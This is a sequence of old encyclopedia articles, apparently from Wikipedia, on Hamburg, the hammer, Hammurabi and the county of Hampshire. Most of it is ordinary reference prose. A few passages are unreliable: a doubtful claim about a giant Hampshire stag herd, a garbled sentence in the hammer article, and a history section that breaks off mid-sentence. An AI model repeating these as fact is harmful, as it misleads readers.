          The HSH Nordbank Arena (formerly the AOL Arena and originally Volksparkstadion) was used a site for the 2006 World Cup.


          See also: Deutsches Derby


          


          Religion


          41% of inhabitants are Christians, 10% of them being Catholics. Muslims (mostly Sunni) are 12% of the population. About 39% profess no religion. There are also large numbers of Hindus and Sikhs.


          


          Language


          As elsewhere in Northern Germany, the original language of Hamburg is Low Saxon, usually referred to as Hamborger Platt (German Hamburger Platt) or Hamborgsch. It is still in use, albeit by a minority and rarely in public, probably due to a hostile climate between World War II and the early 1980s. Since large-scale Germanisation beginning in earnest with in the 18th century, various Low German-coloured dialects have developed (contact-varieties of German on Low Saxon substrates). Originally, there was a range of such Missingsch varieties, best known being the low-prestige ones of the working classes and the somewhat more posh bourgeois Hanseatendeutsch. All of these are now moribund due to the influences of proper German propagated by education and media, perhaps also because of gradual erosion of the erstwhile independent spirit and local pride of Hamburg's population. However, the former importance of Low German is indicated by several songs, such as the famous sea shanty Hamborger Veermaster, written in the 19th century when Low German was used more frequently.


          In addition, immigration brought numerous dialects from all over the German-speaking world used to Hamburg, also a large number of foreign language communities. Hamburg has a sizeable population of Sinti and Roma (Gypsy) people, some of them sedentary (mostly Sinti) and some of them nomadic or semi-nomadic (mostly Roma), camp grounds being set aside by the state and municipal governments. Hamburg is thus one of the few locations in the world in which both Sinti and Romany are spoken, and it is also one of the major headquarters of international Roma organisations.


          


          Education


          There are 245 primary schools, 195 secondary schools and 33 libraries in Hamburg proper.


          


          Universities


          Currently, up to 29 institutions of tertiary education are located in Hamburg:


          
            	AMD - Akademie fr Mode & Design website


            	BAH - Berufsakademie Hamburg website


            	BLS - Bucerius Law School - Hochschule fr Rechtswissenschaft website


            	EBC - Euro-Business College Hamburg website


            	Euro-FH - Europische Fernhochschule Hamburg - European University of Applied Sciences Hamburg website


            	EvFH - Evangelische Fachhochschule fr Sozialpdagogik, Soziale Arbeit und Diakonie website


            	FHV - Fachhochschule fr ffentliche Verwaltung Hamburg website


            	FOM - Fachhochschule fr Oekonomie und Management Studienort Hamburg website


            	FAkBw - Fhrungsakademie der Bundeswehr website


            	HAW - Hochschule fr Angewandte Wissenschaften - Hamburg University of Applied Sciences website


            	HCU - HafenCity University for Architecture, City Planning, Structural Development and Geomatics website


            	HfbK - Hochschule fr bildende Knste Hamburg website


            	HfF - Hochschule fr Finanzen (website not available yet)


            	HFH - Hamburger Fern-Hochschule website


            	HfMT - Hochschule fr Musik und Theatre Hamburg website


            	HH - Hotelfachschule Hamburg website


            	HMS - Hamburg Media School website


            	HSBA - Hamburg School of Business Administration website


            	HSU - Helmut Schmidt Universitt / Universitt der Bundeswehr Hamburg - Helmut Schmidt University / University of the Federal Armed Forces Hamburg website


            	HWP - Hamburger Universitt fr Wirtschaft und Politik website


            	ICoM- International College of Music, Hamburg website


            	JAK - Akademie JAK Modedesign website


            	NIT - Northern Institute of Technology website


            	SSH - Stage School Hamburg website


            	TUHH - Technische Universitt Hamburg-Harburg - Hamburg University of Technology website


            	UHH - Universitt Hamburg - University of Hamburg website


            	University Medical Centre Hamburg-Eppendorf website


            	WAHH - Wirtschaftsakademie Hamburg website


            	ZMNH - Zentrum fr Molekulare Neurobiologie Hamburg - Centre for Molecular Neurobiology Hamburg

          


          


          Tourism


          Tourists play a significant role in the city's economy, and according to the magazine Travelhouse Media two of the most visited sites in Germany are located here: the harbour (8 million visitors per year) and the Reeperbahn (4 million), compared to famous sites like the Cathedral in Cologne (6 million) or the castle Neuschwanstein (200,000) unexpected high numbers to most people. Hamburg has the fastest growing tourism industry in Germany (2005 and 2006 approx. 15%) and will most probably reach rank 10 of Europe's most visited tourist destinations by 2008.


          Hamburg is best visited in spring or summer. A typical Hamburg visit includes a tour of the city hall and the grand church St. Michaelis (called the Michel), and visiting the old warehouse district (Speicherstadt) and the harbour promenade (Landungsbrcken). Sightseeing buses connect these points of interest. Of course, a visit in one of the world's largest harbours would be incomplete without having taken one of the harbour and/or canal boat tours (Groe Hafenrundfahrt, Fleetfahrt) which start from the Landungsbrcken. Many visitors, especially those with a taste for the low life, take a walk in the evening around the area of Reeperbahn, considered Europe's largest red light district and home of many strip clubs, bars and nightclubs. It was in the Reeperbahn that The Beatles began their career with a 48-night residency at the Indra Club, and then another 58 nights at the Kaiserkeller, in 1960. Others prefer the laidback Schanze district with its street cafs or a barbecue on one of the beaches along the river Elbe. Hamburg's famous zoo, the Tierpark Hagenbeck, was founded in 1907 by Carl Hagenbeck as the first zoo with moated, barless enclosures. A friend of Hagenbeck's, the illustrator Heinrich Leutemann made some illustrations here.


          Quite common is a tour through Northern Germany with Hamburg as a starting point or stop-over.


          However, most people visit Hamburg because of a specific interest, notably one of the musicals, a sports event, a congress or fair. Therefore, in 2005, the average visitor spent two nights in Hamburg. The majority of visitors come from Germany (80%); most foreigners are European, especially from the United Kingdom and Switzerland, and the largest group from outside Europe comes from the U.S. An interesting footnote is the high number of rich guests from the Arabian peninsula, who seek treatment in one of Hamburg's hospitals.


          


          Regular events


          For the interested visitor, some events held every year:


          
            	Sports (Note that a registration, usually months in advance, is needed for public races.)

              
                	Hamburg Marathon  marathon, open to the public: April


                	Tennis Masters Series Am Rothenbaum : May


                	HSH Nordbank Run, open to the public. Race through the HafenCity (HarbourCity): May


                	Hamburg Masters  Hockey 4 Nations Trophy: August


                	Dragon boat race, open to the public: August


                	Cyclassics  UCI-ProTour bike race, open to the public: August


                	Hamburg City Man Triathlon  triathlon, open to the public: August

              

            


            	Film festivals

              
                	Filmfest Hamburg : September


                	Fantasy Filmfest : April


                	Kurzfilmfestival  International Short Film Festival : June


                	Lateinamerika-Filmtage  Latin-America Days : December


                	Spanische Filmtage  Spanish Days : July


                	Lesbian & Gay Film Festival Hamburg : October

              

            


            	Arts and exhibitions

              
                	International Fireworks Festival: August


                	Kirschbltenfest  Grand fireworks and Japanese culture: May


                	Lange Nacht der Museen  one ticket, 40 of Hamburg's museums open until midnight: May


                	PHP Unconference  Yearly two-day PHP Conference : April


                	Theme nights (jungle, romantic, Asian) at Hagenbeck's zoo : Saturdays in summer

              

            


            	Music

              
                	Fleetinselfest  Music and international artists open air : July


                	G-Move  Techno parade (until 2005, since 2006 taking place at the city of Kiel)


                	Schlagermove  German 1960s / 1970s music parade : July


                	Reeperbahn Festival  huge Indoor Musicfestival in many Clubs of the Red-Light-District in St. Pauli, mostly Rock, Alternative and Indie-music: September

              

            


            	Fun / Street festivals

              
                	Alstervergngen  Alster fair: first weekend of September


                	Christopher Street Day (Gay Pride Parade) : June


                	Hamburger Dom  considered the largest funfair in northern Germany: three times a year


                	Hafengeburtstag  Hamburg's harbour birthday: May


                	Motorradgottesdienst  Biker's divine service in Hamburg's largest church St. Michaelis: June

              

            

          


          


          Sister cities
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          More information: Hamburg sister cities (in German only)


          


          Famous people born in Hamburg


          
            	Sportspeople

              
                	Andreas Brehme, born in 1960, football coach and former football defender


                	Stefan Effenberg, born in 1968, former soccer player and football player


                	Tommy Haas, born in 1978, tennis player


                	Max Schmeling, 19052005, German boxer and heavyweight champion


                	Uwe Seeler, born in 1936, football manager and former football player

              

            

          


          
            	Politicians

              
                	Helmut Schmidt, born in 1918, German Social Democratic politician and former Chancellor of Germany (1974-1982)


                	Angela Merkel, born in 1954 Chancellor of Germany

              

            

          


          
            	Entertainment

              
                	Fatih Akin, born in 1973, film director


                	Hans Albers, 18911960, actor and singer


                	Samy Deluxe, born in 1977, hip hop artist, writer and producer


                	Felix Mendelssohn Bartholdy, 18091847, composer


                	Johannes Brahms, 18331897, composer


                	Oliver Hirschbiegel, born in 1957, film director


                	Astrid Kirchherr, born in 1938, photographer and artist


                	Oliver Uckermann, founder and male vocalist of band Stillste Stund


                	Michael Kiske, Michael Weikath, Kai Hansen, Ingo Schwichtenberg and Markus Grosskopf of Helloween, power metal band

              

            

          


          
            	Writers

              
                	Rudolf Augstein, 19232002, writer


                	Wolfgang Borchert, 19211947, author and playwright


                	Marion Dnhoff, 19092002, writer


                	Henri Nannen, 19131996, writer

              

            

          


          
            	Fashion designers

              
                	Karl Lagerfeld, born in 1933, fashion designer

              

            

          


          
            	Scientists

              
                	Michael Artin, born in 1934, mathematician, professor at MIT


                	Heinrich Rudolf Hertz, 18571894, physicist and electronic engineer

              

            

          


          
            	Painters

              
                	Daniel Richter, born in 1962, painter

              

            

          


          
            	Others

              
                	Albert Ballin, 18571918, businessman


                	Paul Carl Beiersdorf, 18361896, pharmacist


                	Helmuth Hbener, 19251942, youngest opponent of the Third Reich to be sentenced to death and executed.

              

            

          


          
            	See also

          


          
            	List of Honorary Citizens of Hamburg

          


          


          More impressions


          



          


          
            Retrieved from " http://en.wikipedia.org/wiki/Hamburg"
          


          

        

      

    


    


    
      This article (see wikipedia.org for authors and sources) is made available under the GNUFreeDocumentationLicense.
    

  


  
    
      
        

        Hammer


        
          

          
            [image: A modern claw hammer]

            
              A modern claw hammer
            

          


          A hammer is a tool meant to deliver an impact to an object. The most common uses are for driving nails, fitting parts, and breaking up objects. Hammers are often designed for a specific purpose, and vary widely in their shape and structure. Usual features are a handle and a head, with most of the weight in the head. The basic design is hand-operated, but there are also many mechanically operated models for heavier uses.


          The hammer is a basic tool of many professions, and can also be used as a weapon. By analogy, the name hammer has also been used for devices that are designed to deliver blows, e.g. in the caplock mechanism of firearms.


          


          History


          The use of simple tools dates to about 2,400,000 BCE when various shaped stones were used to strike wood, bone, or other stones to and break them apart and shape them. Stones attached to sticks with strips of leather or animal sinew were being used as hammers by about 30,000 BCE during the middle of the Paleolithic Stone Age. Its archeological record means it is perhaps the oldest human tool known.


          


          Designs and variations


          The essential part of a hammer is the head, a compact solid mass that is able to deliver the blow to the intended target without itself deforming.


          The opposite side of a ball as in the ball-peen hammer and the cow hammer. Some upholstery hammers have a magnetized appendage, to pick up tacks. In the hatchet the hammer head is secondary to the cutting edge of the tool.


          In recent years the handles have been made of durable plastic or rubber. The hammer varies at the top, some are larger than others giving a larger surface area to hit different sized nails and such,


          Popular hand-powered variations include:


          
            	carpenter's hammers (used for nailing), such as the framing hammer and the claw hammer


            	upholstery hammer


            	construction hammers, including the sledgehammer


            	drilling hammer - a lightweight, short handled sledgehammer


            	Ball-peen hammer, or mechanic's hammer


            	cross-peen hammer, or Warrington hammer


            	mallets, including the rubber hammer and dead blow hammer.


            	Splitting maul


            	stonemason's hammer


            	Geologist's hammer or rock pick


            	lump hammer, or club hammer


            	gavel, used by judges and presiding authorities in general


            	Tinner's Hammer

          


          Mechanically-powered hammers often look quite different from the hand tools, but nevertheless most of them work on the same principle. They include:


          
            	jackhammer


            	steam hammer


            	trip hammer


            	hammer drill, that combines a jackhammer-like mechanism with a drill

          


          In professional framing carpentry, the hammer has almost been completely replaced by the nail gun. In professional upholstery, its chief competitor is the staple gun.


          


          Tools used in conjunction with hammers


          
            	Woodsplitting wedge - hit with a sledgehammer for splitting wood.


            	Woodsplitting maul - can be hit with a sledgehammer for splitting wood.


            	Masonry star drill


            	Chisel


            	Punch


            	Anvil

          


          


          The physics of hammering


          


          Hammer as a force amplifier


          A hammer is basically a force amplifier that works by converting mechanical work into kinetic energy and back.


          In the swing that precedes each blow, a certain amount of kinetic energy gets stored in the hammer's head, equal to the length D of the swing times the force f produced by the muscles of the arm and by gravity. When the hammer strikes, the head gets stopped by an opposite force coming from the target; which is equal and opposite to the force applied by the head to the target. If the target is a hard and heavy object, or if it is resting on some sort of anvil, the head can travel only a very short distance d before stopping. Since the stopping force F times that distance must be equal to the head's kinetic energy, it follows that F will be much greater than the original driving force f  roughly, by a factor D/d. In this way, great strength is not needed to produce a force strong enough to bend steel, or crack the hardest stone.


          


          Effect of the head's mass


          The amount of energy delivered to the target by the hammer-blow is equivalent to one half the mass of the head times the square of the head's speed at the time of impact ([image: E={mv^2 \over 2}]). While the energy delivered to the target increases linearly with mass, it increases geometrically with the speed (see the effect of the handle, below). High tech titanium heads are lighter and allow for longer handles, thus increasing velocity and delivering more energy with less arm fatigue than that of a steel head hammer of the same weight. As hammers must be used in many circumstances, where the position of the person using them cannot be taken for granted, trade-offs are made for the sake of practicality. In areas where one has plenty of room, a long handle with a heavy head (like a sledge hammer) can deliver the maximum amount of energy to the target. But clearly, it's unreasonable to use a sledge hammer to drive upholstery tacks. Thus, the overall design has been modified repeatedly to achieve the optimum utility in a wide variety of situations.


          


          Effect of the handle


          The handle of the hammer helps in several ways. It keeps the user's hands away from the point of impact. It provides a broad area that is better-suited for gripping by the hand. Most importantly, it allows the user to maximize the speed of the head on each blow. The primary constraint on additional handle length is the lack of space in which to swing the hammer. This is why sledge hammers, largely used in open spaces, can have handles that are much longer than a standard carpenter's hammer. The second most important constraint is more subtle. Even without considering the effects of fatigue, the longer the handle, the harder it is to guide the head of the hammer to its target at full speed. Most designs are a compromise between practicality and energy efficiency. Too long a handle: the hammer is inefficient because it delivers force to the wrong place, off-target. Too short a handle: the hammer is inefficient because it doesn't deliver enough force, requiring more blows to complete a given task. Recently, modifications have also been made with respect to the effect of the hammer on the user. A titanium head has about 3% recoil and can result in greater efficiency and less fatigue when compared to a steel head with about 27% recoil. Handles made of shock-absorbing materials or varying angles attempt to make it easier for the user to continue to wield this age-old device, even as nail guns and other powered drivers encroach on its traditional field of use.


          


          War hammers


          The concept of putting a handle on a weight to make it more convenient to use may well have led to the very first weapons ever invented. The club is basically a variant of a hammer. In the Middle Ages, the war hammer became popular when edged weapons could no longer easily penetrate some forms of armour.


          


          Symbolic hammers


          The hammer, being one of the most used tools by Homo sapiens, has been used very much in symbols and arms. In the Middle Ages it was used often in blacksmith guild logos, as well as in many family symbols. The most recognised symbol with a hammer in it is the Hammer and Sickle, which was the symbol of the former Soviet Union. The hammer in this symbol represents the industrial working class (and the sickle the agricultural working class). The hammer is used in some coat of arms in (former) socialist countries like East Germany.


          In Norse Mythology, Thor, the god of thunder and lightning, wields a hammer named Mjolnir. Many artifacts of decorative hammers have been found leading many modern practitioners of this religion to often wear reproductions as a sign of their faith.
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                  Diorite head believed to represent Hammurabi
                

              
            


            
              	Born

              	circa 1810 BC

            


            
              	Died

              	circa 1750 BC

            


            
              	Title

              	King of Babylon
            


            
              	Successor

              	Samsu-Iluna
            

          


          Hammurabi ( Akkadian from Amorite ˤAmmurāpi, "the kinsman is a healer," from ˤAmmu, "paternal kinsman," and Rāpi, "healer"; ca. 1810 BC  1750 BC), was the sixth king of Babylon. He became the first king of the Babylonian Empire, extending Babylon's control over Mesopotamia by winning a series of wars against neighboring kingdoms.


          Hammurabi is known for the set of laws called Hammurabi's Code, one of the first written codes of law in recorded history. Owing to his reputation in modern times as an ancient law-giver, Hammurabi's portrait is in many government buildings throughout the world. Although his empire controlled all of Mesopotamia by the time of his death, his successors were unable to maintain his empire.


          


          History


          Hammurabi was one of the first dynasty kings of the city-state of Babylon, and inherited the throne from his father, Sin-muballit, in 1792 BC. Babylon was one of the many ancient city-states that dotted the Mesopotamian plain and waged war on each other for control of fertile agricultural land.Though many cultures co-existed in Mesopotamia, Babylonian culture gained a degree of prominence among the literate classes throughout the Middle East. The kings who came before Hammurabi had begun to consolidate rule of central Mesopotamia under Babylonian hegemony and, by the time of his reign, had conquered the city-states of Borsippa, Kish, and Sippar. Thus Hammurabi ascended to the throne as the king of a minor kingdom in the midst of a complex geopolitical situation, surrounded by the more powerful kingdoms of Shamshi-Adad, Larsa, Eshnunna, and Elam.


          The first few decades of Hammurabi's reign were relatively peaceful, although the death of Shamshi-Adad I led to the fragmentation of his northern Semitic empire, and Babylon became comparatively stronger as a result. Hammurabi used this time to undertake a series of public works, including heightening the city walls for defensive purposes, and expanding the temples. In 1766 BC, the powerful kingdom of Elam, which straddled important trade routes across the Zagros Mountains, invaded the Mesopotamian plain. With allies among the plain states, Elam attacked and destroyed the empire of Eshnunna, destroying a number of cities and imposing its rule on portions of the plain for the first time. In order to consolidate its position, Elam tried to start a war between Hammurabi's Babylonian kingdom and the kingdom of Larsa. Hammurabi and the king of Larsa made an alliance when they discovered this duplicity and were able to crush the Elamites, although Larsa did not contribute greatly to the military effort. Angered by Larsa's failure to come to his aid, Hammurabi turned on that southern power, thus gaining control of the entirety of the lower Mesopotamian plain by 1763 BC.


          As Hammurabi was assisted during the war in the south by his allies from the north, the absence of soldiers in the north led to unrest. Continuing his expansion, Hammurabi turned his attention northward, quelling the unrest and soon after crushing Eshnunna. Next the Babylonian armies conquered the remaining northern states, including Babylon's former ally Mari, although it is possible that the 'conquest' of Mari was a surrender without any actual conflict. In just a few short years, Hammurabi had succeeded in uniting all of Mesopotamia under his rule. Of the major city-states in the region, only Aleppo and Qatna to the west in Syria maintained their independence.


          Vast numbers of contract tablets, dated to the reigns of Hammurabi and his successors, have been discovered, as well as 55 of his own letters. These letters give a glimpse into the daily trials of ruling an empire, from dealing with floods and mandating changes to a flawed calendar, to taking care of Babylon's massive herds of livestock. Hammurabi died and passed the reigns of the empire on to his son Samsu-Iluna in 1750 BC.
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              The upper part of the stele of Hammurabi's code of laws
            

          


          


          Code of laws


          Hammurabi is perhaps best known for the promulgation of a new code of Babylonian law  the Code of Hammurabi. This was written on a stele, a large stone monument, and placed in a public place so that all could see it, although it is thought that few were literate. The stele was later plundered by the Elamites and removed to their capital, Susa; it was rediscovered there in 1901 and is now in the Louvre Museum in Paris. The code of Hammurabi contained 282 laws, written by scribes on 12 tablets. Unlike earlier laws, it was written in Akkadian, the daily language of Babylon, and could therefore be read by any literate person in the city.
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              An inscription of the Code of Hammurabi
            

          


          The structure of the code is very specific, with each offense receiving a specified punishment. The punishments tended to be harsh by modern standards, with many offenses resulting in death, disfigurement, or the use of the "Eye for eye, tooth for tooth philosophy". While the penalties of his laws may seem cruel to modern readers, the fact that he not only put into writing the laws of his kingdom, but attempted to make them a systematic whole, is considered an important step forward in the evolution of civilization. Putting the laws into writing was important in itself because it suggested that the laws were immutable and above the power of any earthly king to change. The code is also one of the earliest examples of the idea of presumption of innocence, and it also suggests that the accused and accuser have the opportunity to provide evidence. However, there is no provision for extenuating circumstances to alter the prescribed punishment.


          A carving at the top of the stele portrays Hammurabi receiving the laws from the god Shamash, and the preface states that Hammurabi was chosen by the gods of his people to bring the laws to them. Parallels to this divine inspiration for laws can be seen in the laws created by Moses for the ancient Hebrews. Similar codes of law were created in several nearby civilizations, including the earlier Babylonian example of Ur-Nammu's code and the later Hittite code of laws.


          


          Legacy and depictions


          Under the rules of Hammurabi's successors, the Babylonian Empire was weakened by military pressure from the Hittites, who sacked Babylon around 1600. However it was the Kassites who eventually conquered Babylon and ruled Mesopotamia for 400 years, adopting parts of the Babylonian culture, including Hammurabi's code of laws.


          Because of Hammurabi's reputation as a lawgiver, his depiction can be found in several U.S. government buildings. Hammurabi is one of the 23 lawgivers depicted in marble bas-reliefs in the chamber of the U.S. House of Representatives in the United States Capitol. An image of Hammurabi receiving the Code of Hammurabi from the Babylonian sun god (probably Shamash) is depicted on the frieze on the south wall of the U.S. Supreme Court building.
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              Bas-relief of Hammurabi in the U.S. House of Representatives chamber.
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              	Geography
            


            
              	Status

              	Ceremonial & (smaller) Non-metropolitan county
            


            
              	Region:

              	South East England
            


            
              	Area

              - Total

              - Admin. council

              - Admin. area

              	Ranked 9th

              3,769 km

              Ranked 8th

              3,679 km
            


            
              	Admin HQ:

              	Winchester
            


            
              	ISO 3166-2:

              	GB-HAM
            


            
              	ONS code:

              	24
            


            
              	NUTS 3:

              	UKJ33
            


            
              	Demographics
            


            
              	Population

              - Total (2006est.)

              - Density

              - Admin. council

              - Admin. pop.

              	Ranked 5th

              1,691,000

              449 / km

              Ranked 3rd

              1,266,000
            


            
              	Ethnicity:

              	96.7% White

              1.3% S. Asian

              0.8% Mixed

              1.2% Other
            


            
              	Politics
            


            
              	Hampshire County Council

              http://www.hants.gov.uk/hcc/
            


            
              	Executive

              	Conservative
            


            
              	Members of Parliament

              	
                
                  	James Arbuthnot (C)


                  	John Denham (L)


                  	Sandra Gidley (LD)


                  	Mike Hancock (LD)


                  	Mark Hoban (C)


                  	Gerald Howarth (C)


                  	Chris Huhne (LD)


                  	Julian Lewis (C)


                  	Michael Mates (C)


                  	Sarah McCarthy-Fry (L)/ (Co-op)


                  	Maria Miller (C)


                  	Mark Oaten (LD)


                  	Desmond Swayne (C)


                  	Peter Viggers (C)


                  	Alan Whitehead (L)


                  	David Willetts (C)


                  	Kevin Remmele (C)

                

              
            


            
              	Districts
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                  	Gosport


                  	Fareham


                  	Winchester


                  	Havant


                  	East Hampshire


                  	Hart


                  	Rushmoor


                  	Basingstoke and Deane


                  	Test Valley


                  	Eastleigh


                  	New Forest


                  	Southampton (Unitary)


                  	Portsmouth (Unitary)

                

              
            

          


          Hampshire (pronounced /'hmpʃɪə/, listen), sometimes historically Southamptonshire, Hamptonshire, (abbr. Hants), or the County of Southampton, is a county on the south coast of England. The county borders (clockwise from West), Dorset, Wiltshire, Berkshire, Surrey and West Sussex. The county has an area of 1,455 square miles (3,769 km) and at its widest points is approximately 55 miles (90 km) eastwest and 40 miles (65 km) northsouth. The county town is Winchester situated at . The 2001 census gave the population of the administrative county as 1.24 million; the ceremonial county also includes the cities of Portsmouth and Southampton, which are administratively independent, and has a total population of 1.6 million. Christchurch and Bournemouth, within the historic borders of the county, were made part of the non-metropolitan county of Dorset in 1974.


          Hampshire is a popular holiday area, with tourist attractions including its many seaside resorts, the maritime area in Portsmouth, and the motor museum at Beaulieu. The New Forest National Park lies within the borders, as does a large area of the South Downs, which is also scheduled to become a National Park. Hampshire has a long maritime history and two of England's largest ports lie on its coast. The county is famed as home of writers Jane Austen and Charles Dickens.


          


          Wildlife


          Hampshire has the typical wildlife of the British area as it does not have a very different climate. The one distinguishing fact is that Hampshire has the largest free roaming herd of stag in the eastern hemisphere, including more than 6500 stags during busy seasons. The stag population is protected by the government and hunting is prohibited.


          


          Physical geography


          Hampshire's geology falls into two categories. In the south, along the coast is the " Hampshire Basin", an area of relatively non-resistant Eocene and Oligocene clays and gravels which are protected from sea erosion by the Isle of Purbeck, Dorset, and the Isle of Wight. These low, flat lands support heathland and woodland habitats, a large area of which form part of the New Forest. The New Forest has a mosaic of heathland, grassland, coniferous and deciduous woodland habitats that host diverse wildlife. The forest is protected as a national park, limiting development and agricultural use to protect the landscape and wildlife. Large areas of the New Forest are open common lands kept as a grassland plagioclimax by grazing animals, including domesticated cattle, pigs and horses, and several wild deer species. Erosion of the weak rock and sea level change flooding the low land has carved several large estuaries and rias, notably the 12 mile (19 km) long Southampton Water and the large convoluted Portsmouth Harbour. The Isle of Wight lies off the coast of Hampshire where the non-resistant rock has been eroded away forming the Solent.


          In the north and centre of the county the substrate is the Southern England Chalk Formation of Salisbury Plain and the South Downs. These are high hills with steep slopes where they border the clays to the south. The hills dip steeply forming a scarp onto the Thames valley to the north, and dip gently to the south. The highest point in the county is Pilot Hill, which reaches the height of 286 m (938 ft). The downland supports a calcareous grassland habitat, important for wild flowers and insects. In the past Hampshire had little agriculture, but in the early 20th century the demand for food led to the establishment of farms on the downs. A large area of the downs is now protected from further agricultural damage by the East Hampshire Area of Outstanding Natural Beauty. The Itchen and Test are trout rivers that flow from the chalk through wooded valleys into Southampton Water. Nestled in a valley on the downs is Selborne, and the countryside surrounding the village was the location of Gilbert White's pioneering observations on natural history. Hampshire's county flower is the Dog Rose.


          Hampshire has a milder climate than most areas of the British Isles, being in the far south with the climate stabilising effect of the sea, but protected against the more extreme weather of the Atlantic coast. Hampshire has a higher average annual temperature than the UK average at 9.8 C to 12  C, average rainfall at 7411060 mm per year, and higher than average sunshine at over 1541 hours per year.


          


          History


          The chalk downland of the South Downs and southern edges of Salisbury Plain were settled in the neolithic, and these settlers built hill forts such as Winklebury and may have farmed the valleys of Hampshire. Hampshire was part of an area named Gwent or Y Went by the Celts, which also covered areas of Somerset and Wiltshire. In the Roman invasion of Britain, Hampshire was one of the first areas to fall to the invading forces. The county was occupied by Jutish tribes until Saxon times. Hampshire was one of the first Saxon shires, recorded in 755 as Hamtunscir,


          Portsmouth and Winchester have the highest job densities in the county, and therefore there is a high level of commuting into the cities. Southampton has the highest number of total jobs and commuting both into and out of the city is high. The county has a lower level of unemployment than the national average, at 1.9% when the national rate was 3.3%, and as of March 2005 has fallen to 1.1%. 39% are employed by large firms, compared with a national average of 42%. Hampshire has a considerably higher than national average employment in high-tech industries, but average levels in knowledge based industry. 25.21% of the population work in the public sector.


          Many rural areas of Hampshire have traditionally been reliant on agriculture, though the county was less agricultural than most surrounding counties, and was mostly concentrated on dairy farming. The significance of agriculture as an employer and wealth creator has declined since the first half of the 20th century and agriculture currently employs 1.32% of the population.


          The New Forest area is a National Park, and tourism is a significant economic segment in this area, with 7.5 million visitors in 1992. The South Downs and the cities of Southampton and Winchester also attract tourists to the county. Southampton Boat Show is one of the biggest annual events held in the county, and attracts visitors from throughout the country. In 2003 the county had a total of 31 million day visits, and 4.2 million longer stays.


          The cities of Southampton and Portsmouth are both significant ports, with Southampton handling a large proportion of the national container freight and Portsmouth housing a large Royal Navy base. The docks have traditionally been large employers in these cities, though again mechanisation has forced diversification of the economy.


          


          Demographics
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              Southampton Docks.
            

          


          At the Census 2001 the ceremonial county recorded a population of 1,644,249, of which 1,240,103 were in the administrative county, 217,445 were in the unitary authority of Southampton, and 186,701 were in Portsmouth. The population of the administrative county grew 5.6% from the 1991 census, Southampton grew 6.2% while Portsmouth remained unchanged, compared with 2.6% for England and Wales as a whole. Eastleigh and Winchester grew fastest at 9% each. The age structure of the population is similar to the national average.


          96.73% of residents were indigenous, falling to 92.37% in Southampton. The significant ethnic minorities are Asian at 1.34% and mixed race at 0.84%. 0.75% of residents were migrants from outside the UK. 73.86% stated their religion as Christianity and 16.86% were not religious. Significant minority religions were Islam (0.76%) and Hinduism (0.33%).


          


          Education


          The school system in Hampshire (including Southampton and Portsmouth) is comprehensive. Geographically inside the Hampshire LEA are twenty four independent schools, Southampton has three and Portsmouth has four. Few Hampshire schools have sixth forms, which varies by district council.


          


          Politics


          Hampshire is divided into eighteen parliamentary constituencies. Ten of these are represented by Conservative Members of Parliament (MPs), four by the Liberal Democrats and three by Labour. Labour represent the large cities, including both Southampton constituencies ( Test and Itchen) and Portsmouth North. The Conservatives represent the most rural constituencies, New Forest West, New Forest East, Hampshire North West, Hampshire North East, Hampshire East and the constituencies of Aldershot, Basingstoke, Havant, Gosport and Fareham, which are centred on towns. The Liberal Democrats represent Winchester, Portsmouth South and Eastleigh, all centred around towns, and the largely rural constituency of Romsey. There is a new parliamentary constituency to be contested at the next general election as part of the new boundary changes. The Meon Valley constituency is notionally a Conservative seat.


          The Isle of Wight returns its own Member to the House of Commons and, in this way, it is often said that Hampshire returns nineteen Members of Parliament despite Hampshire and the Isle of Wight having been separated administratively and ceremonially for some time.


          At the 2005 local elections for Hampshire County Council the Conservative Party had a 43.69% share of the votes, the Liberal Democrats had 36.01% and Labour 16.08%. Therefore 46 Conservatives, 28 Liberal Democrats and four Labour councillors sit on the County Council. Southampton City Council, which is entirely independent, has 18 Liberal Democrat, 15 Labour and 15 Conservative councillors. Portsmouth City Council, also independent, has 20 Liberal Democrat, 18 Conservative, seven Labour and one independent councillor.


          Hampshire also has its own County Youth Council (HCYC) and is an independent youth-run organisation. It meets once a month around Hampshire and aims to give the young people of Hampshire a voice. It also has numerous district and burough youth councils including Winchester's "Youth Of Winchester"


          


          Cities, towns, and villages
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              New apartment blocks in the rapidly changing Basingstoke.
            

          


          Hampshire's county town is Winchester, a historic city that was once the capital of the ancient kingdom of Wessex and of England until the Norman conquest of England. The port cities of Southampton and Portsmouth were split off as independent unitary authorities in 1997, although they are still included in Hampshire for ceremonial purposes. Fareham, Gosport and Havant have grown into a conurbation that stretches along the coast between the two main cities. The three cities are all university cities, Southampton being home to the University of Southampton and Southampton Solent University (formerly Southampton Institute), Portsmouth to the University of Portsmouth, and Winchester to the University of Winchester (formerly known as University College Winchester; King Alfred's College).


          Hampshire lies outside the green belt area of restricted development around London, but has good railway and motorway links to the capital, and in common with the rest of the south-east has seen the growth of dormitory towns since the 1960s. Basingstoke, in the north of the county, has grown from a country town into a business and finance centre. Aldershot, Portsmouth, and Farnborough have strong military associations with the Army, Royal Navy and Royal Air Force respectively. The county also includes several market towns: Alton, Andover, Bishop's Waltham, Lymington, Petersfield, Ringwood, Romsey, and Whitchurch.


          Towns by population size: (2001 census)


          
            	Southampton - 234,224


            	Portsmouth - 187,056


            	Basingstoke - 90,171 (town), 152,573 (borough)


            	Gosport - 69,348, 77,000 (borough)


            	Waterlooville - 63,558


            	Aldershot - 58,120


            	Farnborough - 57,147


            	Fareham/ Portchester - 56,010 (town), 109,619 (borough)


            	Eastleigh - 52,894 (town), 116,177 (borough)


            	Andover - 52,000


            	Havant - 45,435 (town), 115,300 (borough)


            	Winchester - 41,420


            	Fleet - 32,726

          


          


          Culture, arts and sport
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              Winchester Cathedral.
            

          


          Due to Hampshire's long association with pigs and boars, natives of the county have been known as Hampshire hogs since the 18th century. Hampshire has literary connections, being the birthplace of authors including Jane Austen and Charles Dickens, and the residence of others, such as Charles Kingsley. Austen lived most of her life in Hampshire, where her father was rector of Steventon, Hampshire, and wrote all of her novels in the county. Hampshire also has many visual art connections, claiming the painter John Everett Millais as a native, and the cities and countryside have been the subject of paintings by L. S. Lowry and J. M. W. Turner. Hampshire is also the birthplace of explorer Lawrence Oates, and entertainers Peter Sellers, Benny Hill, Carl Barat and Craig David.


          Hampshire's relatively safe waters have allowed the county to develop as one of the busiest sailing areas in the country, with many yacht clubs and several manufacturers on the Solent. The game of cricket was largely developed in south-east England, with one of the first teams forming at Hambledon in 1750. Hampshire County Cricket Club today is a successful first-class team, captained by Dimitri Mascarenhas.


